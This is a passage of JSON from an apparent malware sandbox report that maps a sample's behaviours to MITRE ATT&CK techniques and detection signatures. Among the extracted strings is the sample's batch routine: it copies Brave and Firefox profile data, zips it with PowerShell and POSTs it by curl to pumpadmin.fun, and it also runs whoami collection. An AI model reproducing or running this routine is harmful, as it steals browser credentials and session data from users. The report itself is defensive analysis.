Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve the current user information"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Queries the user identity associated with the current process token"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Process launched with changed environment"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"References Windows LDAP client module"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]}],"sandbox_signatures":[{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found browser information locations related strings","description":"$36","origin":"sample.bin","mitre_attack_id":"T1005","id":"string-93","sources":[{"report_type":"qsp","report_id":""}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found browsers sensitive information related strings","description":"$37","origin":"sample.bin","mitre_attack_id":"T1005","id":"string-133","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Environment Awareness","name":"Able to access file/directory","description":"file/memory contains long string with (Indicator: \"mkdir \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-779","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$38","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"Compress-Archive\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.001","id":"string-187","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"\" \"%O%\\brave-%%~nxP\" *.log *.ldb /R:0 /W:0 /NJH /NJS /NP >nul\nrobocopy \"%APPDATA%\\Mozilla\\Firefox\\Profiles\" \"%O%\\ff\" *.json *.db /S /R:0 /W:0 /NJH /NJS /NP >nul\npowershell -nop -w h -c \"Compress-Archive -Path '%O%\\*' -DestinationPath '%O%.zip' -Force\"\ncurl.exe -s --max-time 600 -X POST -H \"x-tag:%COMPUTERNAME%\" --data-binary @\"%O%.zip\" https://pumpadmin.fun/c -o \"%O%.json\"\n\" (Indicator: \"curl.exe -\") in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-576","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://pumpadmin.fun\"","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-98","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://pumpadmin.fun/c\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to compress file/directory using PowerShell cmdlet","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1560","id":"string-656","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ConvertFrom-StringData\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00007064-00000BC0-643183987\")\n Found reference to \"SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00007064-00000CC3-652294983\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00007064.00000000.112604.20A35000.00000004.mdmp, 00000000-00007064.00000001.113650.20A35000.00000004.mdmp\")\n Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00007064.00000000.112604.20A35000.00000004.mdmp, 00000000-00007064.00000001.113650.20A35000.00000004.mdmp\")\n Found reference to \"SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00007064.00000001.113650.20A35000.00000004.mdmp, 00000000-00007064.00000001.113650.20D2B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"cmd.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"cmd.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$39","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$3a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00007064.00000001.113650.52830000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00007064.00000001.113650.222DE000.00000004.mdmp\")\n Found api reference \"CryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00007064.00000001.113650.222DE000.00000004.mdmp\")\n Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00007064.00000001.113650.222DE000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$3b","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00007064.00000001.113650.222DE000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00007064.00000001.113650.52830000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00007064.00000001.113650.528C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00007064.00000000.112604.064A0000.00000004.mdmp, 00000000-00007064.00000001.113650.064A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"Contains base64 string in header \"POST\" in header \"POST /c HTTP/1.1Host: pumpadmin.funUser-Agent: curl/8.13.0Accept: */*x-tag: DESKTOP-FVVF82AContent-Length: 42077Content-Type: application/x-www-form-urlencoded\"\n Contains base64 string in header \"42077Content\" in header \"POST /c HTTP/1.1Host: pumpadmin.funUser-Agent: curl/8.13.0Accept: */*x-tag: DESKTOP-FVVF82AContent-Length: 42077Content-Type: application/x-www-form-urlencoded\"\n Contains base64 string in header \"Type\" in header \"POST /c HTTP/1.1Host: pumpadmin.funUser-Agent: curl/8.13.0Accept: */*x-tag: DESKTOP-FVVF82AContent-Length: 42077Content-Type: application/x-www-form-urlencoded\"\n Contains base64 string in header \"form\" in header \"POST /c HTTP/1.1Host: pumpadmin.funUser-Agent: curl/8.13.0Accept: */*x-tag: DESKTOP-FVVF82AContent-Length: 42077Content-Type: application/x-www-form-urlencoded\"","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm\n Matched sigs: Able to decrypt/decode data\n Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to import cryptographic keys into a CSP\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007064-00000C2C-644016561\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007064-00000C2C-645205466\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007064-00000C2C-644016561\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00007064-00000C2C-645205466\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00007064-00000C2C-642824280\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00007064-00000C2C-642824970\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007064-00000C2C-646610789\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007064-00000C2C-646610845\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00007064-00000C2C-644686731\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00007064-00000C2C-644686797\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00000860)\n \"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007064)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00000860)\n \"whoami.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00000188)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$3c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026eeb8fb7f000000010000000000003826eeb8fb7f00000000000000000000409d14dcfb7f000000000000000000000001000000000000701f58dbfb7f00000000edb8fb7f000001000000000000002f19edb8fb7f000000000000000000003826eeb8fb7f000000d01500 (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00007064)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00007064)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set O=%TEMP%\\vx%RANDOM%\" (Indicator: \"set \"; File: \"cmd\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the current user information","description":"Observed string: \"whoami /all > \"%O%\\who.txt\" 2>&1\" (Indicator: \"whoami \") in Source: cmd\n Observed string: \"whoami /all\" (Indicator: \"whoami \") in Source: 